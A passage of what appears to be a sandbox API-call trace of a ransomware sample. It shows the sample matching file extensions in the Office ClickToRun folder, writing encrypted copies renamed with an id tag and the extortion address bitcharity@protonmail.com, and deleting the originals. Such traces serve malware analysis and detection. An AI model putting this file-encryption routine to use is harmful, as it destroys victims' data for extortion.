(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.251] lstrlenW (lpString=".dbf") returned 4 [0289.251] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.251] lstrlenW (lpString=".1cd") returned 4 [0289.251] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString=".jpg") returned 4 [0289.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString=".doc") returned 4 [0289.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString=".docx") returned 5 [0289.252] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0289.252] lstrlenW (lpString=".pdf") returned 4 [0289.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString=".xls") returned 4 [0289.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString=".xlsx") returned 5 [0289.252] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0289.252] lstrlenW (lpString=".ppt") returned 4 [0289.252] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString=".zip") returned 4 [0289.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString=".rar") returned 4 [0289.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.252] lstrlenW (lpString=".bz2") returned 4 [0289.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.252] lstrlenW (lpString=".7z") returned 3 [0289.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString=".dbf") returned 4 [0289.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString=".1cd") returned 4 [0289.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.252] lstrlenW (lpString=".jpg") returned 4 [0289.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.253] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0289.253] lstrlenW (lpString="appvcleaner.exe") returned 15 [0289.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0289.253] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=2054872) returned 1 [0289.253] CloseHandle (hObject=0x10b4) returned 1 [0289.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0289.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0289.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0289.254] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc64 | out: lpNewFilePointer=0x0) returned 1 [0289.254] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc24 | out: lpNewFilePointer=0x0) returned 1 [0289.254] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b0a058*, lpNumberOfBytesRead=0x30bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0289.258] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc24 | out: lpNewFilePointer=0x0) returned 1 [0289.258] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b4a058*, lpNumberOfBytesRead=0x30bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0289.260] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0289.260] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc24 | out: lpNewFilePointer=0x0) returned 1 [0289.260] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b8a058*, lpNumberOfBytesRead=0x30bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0291.432] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.432] WriteFile (in: hFile=0x10b4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x30bfca8, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfca8*=0xc010a, lpOverlapped=0x0) returned 1 [0291.477] SetEndOfFile (hFile=0x10b4) returned 1 [0291.477] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40000) returned 0x3ea2088 [0291.482] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc74 | out: lpNewFilePointer=0x0) returned 1 [0291.482] WriteFile (in: hFile=0x10b4, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x30bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0291.484] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc74 | out: lpNewFilePointer=0x0) returned 1 [0291.484] WriteFile (in: hFile=0x10b4, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x30bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0291.487] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x30bfc74 | out: lpNewFilePointer=0x0) returned 1 [0291.487] WriteFile (in: hFile=0x10b4, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x30bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0291.489] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0291.489] CloseHandle (hObject=0x10b4) returned 1 [0291.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0291.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.490] lstrlenW (lpString=".doc") returned 4 [0291.490] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0291.490] lstrlenW (lpString=".docx") returned 5 [0291.490] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0291.490] lstrlenW (lpString=".pdf") returned 4 [0291.490] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0291.490] lstrlenW (lpString=".xls") returned 4 [0291.490] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0291.490] lstrlenW (lpString=".xlsx") returned 5 [0291.490] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0291.490] lstrlenW (lpString=".ppt") returned 4 [0291.490] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0291.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.490] lstrlenW (lpString=".zip") returned 4 [0291.490] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0291.490] lstrlenW (lpString=".rar") returned 4 [0291.491] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0291.491] lstrlenW (lpString=".bz2") returned 4 [0291.491] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0291.491] lstrlenW (lpString=".7z") returned 3 [0291.491] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0291.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.491] lstrlenW (lpString=".dbf") returned 4 [0291.491] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0291.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.491] lstrlenW (lpString=".1cd") returned 4 [0291.491] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0291.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.491] lstrlenW (lpString=".jpg") returned 4 [0291.491] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0291.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.491] lstrlenW (lpString=".doc") returned 4 [0291.491] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0291.491] lstrlenW (lpString=".docx") returned 5 [0291.491] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0291.491] lstrlenW (lpString=".pdf") returned 4 [0291.491] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0291.491] lstrlenW (lpString=".xls") returned 4 [0291.491] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0291.491] lstrlenW (lpString=".xlsx") returned 5 [0291.492] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0291.492] lstrlenW (lpString=".ppt") returned 4 [0291.492] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0291.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.492] lstrlenW (lpString=".zip") returned 4 [0291.492] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0291.492] lstrlenW (lpString=".rar") returned 4 [0291.492] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0291.492] lstrlenW (lpString=".bz2") returned 4 [0291.492] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0291.492] lstrlenW (lpString=".7z") returned 3 [0291.492] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0291.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.492] lstrlenW (lpString=".dbf") returned 4 [0291.492] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0291.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.492] lstrlenW (lpString=".1cd") returned 4 [0291.492] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0291.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0291.492] lstrlenW (lpString=".jpg") returned 4 [0291.492] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0291.492] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0291.493] lstrlenW (lpString="concrt140.dll") returned 13 [0291.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0291.493] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=332968) returned 1 [0291.493] CloseHandle (hObject=0x10b4) returned 1 [0291.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0291.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0291.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0291.493] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.494] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0291.494] GetLastError () returned 0x0 [0291.494] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x514a8, lpOverlapped=0x0) returned 1 [0293.227] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x514b0, lpOverlapped=0x0) returned 1 [0293.383] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.384] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xee, lpOverlapped=0x0) returned 1 [0293.384] SetEndOfFile (hFile=0x1084) returned 1 [0293.384] CloseHandle (hObject=0x1084) returned 1 [0293.384] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.384] SetEndOfFile (hFile=0x10b4) returned 1 [0293.388] CloseHandle (hObject=0x10b4) returned 1 [0293.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0293.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.389] lstrlenW (lpString=".doc") returned 4 [0293.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.389] lstrlenW (lpString=".docx") returned 5 [0293.389] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.389] lstrlenW (lpString=".pdf") returned 4 [0293.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.389] lstrlenW (lpString=".xls") returned 4 [0293.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.389] lstrlenW (lpString=".xlsx") returned 5 [0293.389] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.389] lstrlenW (lpString=".ppt") returned 4 [0293.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.389] lstrlenW (lpString=".zip") returned 4 [0293.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.389] lstrlenW (lpString=".rar") returned 4 [0293.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.389] lstrlenW (lpString=".bz2") returned 4 [0293.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.389] lstrlenW (lpString=".7z") returned 3 [0293.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.390] lstrlenW (lpString=".dbf") returned 4 [0293.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.390] lstrlenW (lpString=".1cd") returned 4 [0293.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.390] lstrlenW (lpString=".jpg") returned 4 [0293.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.390] lstrlenW (lpString=".doc") returned 4 [0293.390] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString=".docx") returned 5 [0293.390] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.390] lstrlenW (lpString=".pdf") returned 4 [0293.390] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString=".xls") returned 4 [0293.390] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString=".xlsx") returned 5 [0293.390] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.390] lstrlenW (lpString=".ppt") returned 4 [0293.390] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.390] lstrlenW (lpString=".zip") returned 4 [0293.390] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString=".rar") returned 4 [0293.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.390] lstrlenW (lpString=".bz2") returned 4 [0293.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.391] lstrlenW (lpString=".7z") returned 3 [0293.391] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.391] lstrlenW (lpString=".dbf") returned 4 [0293.391] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.391] lstrlenW (lpString=".1cd") returned 4 [0293.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0293.391] lstrlenW (lpString=".jpg") returned 4 [0293.391] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.391] lstrcmpiW (lpString1=".hash", lpString2=".com") returned 1 [0293.391] lstrlenW (lpString="i641033.hash") returned 12 [0293.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0293.392] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=102) returned 1 [0293.392] CloseHandle (hObject=0x10b4) returned 1 [0293.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0293.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0293.396] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.396] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0293.397] GetLastError () returned 0x0 [0293.397] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x66, lpOverlapped=0x0) returned 1 [0293.398] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x70, lpOverlapped=0x0) returned 1 [0293.399] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.399] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.399] SetEndOfFile (hFile=0x1084) returned 1 [0293.399] CloseHandle (hObject=0x1084) returned 1 [0293.399] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.399] SetEndOfFile (hFile=0x10b4) returned 1 [0293.400] CloseHandle (hObject=0x10b4) returned 1 [0293.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.400] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0293.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.401] lstrlenW (lpString=".doc") returned 4 [0293.401] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString=".docx") returned 5 [0293.401] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0293.401] lstrlenW (lpString=".pdf") returned 4 [0293.401] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString=".xls") returned 4 [0293.401] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString=".xlsx") returned 5 [0293.401] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0293.401] lstrlenW (lpString=".ppt") returned 4 [0293.401] lstrcmpiW 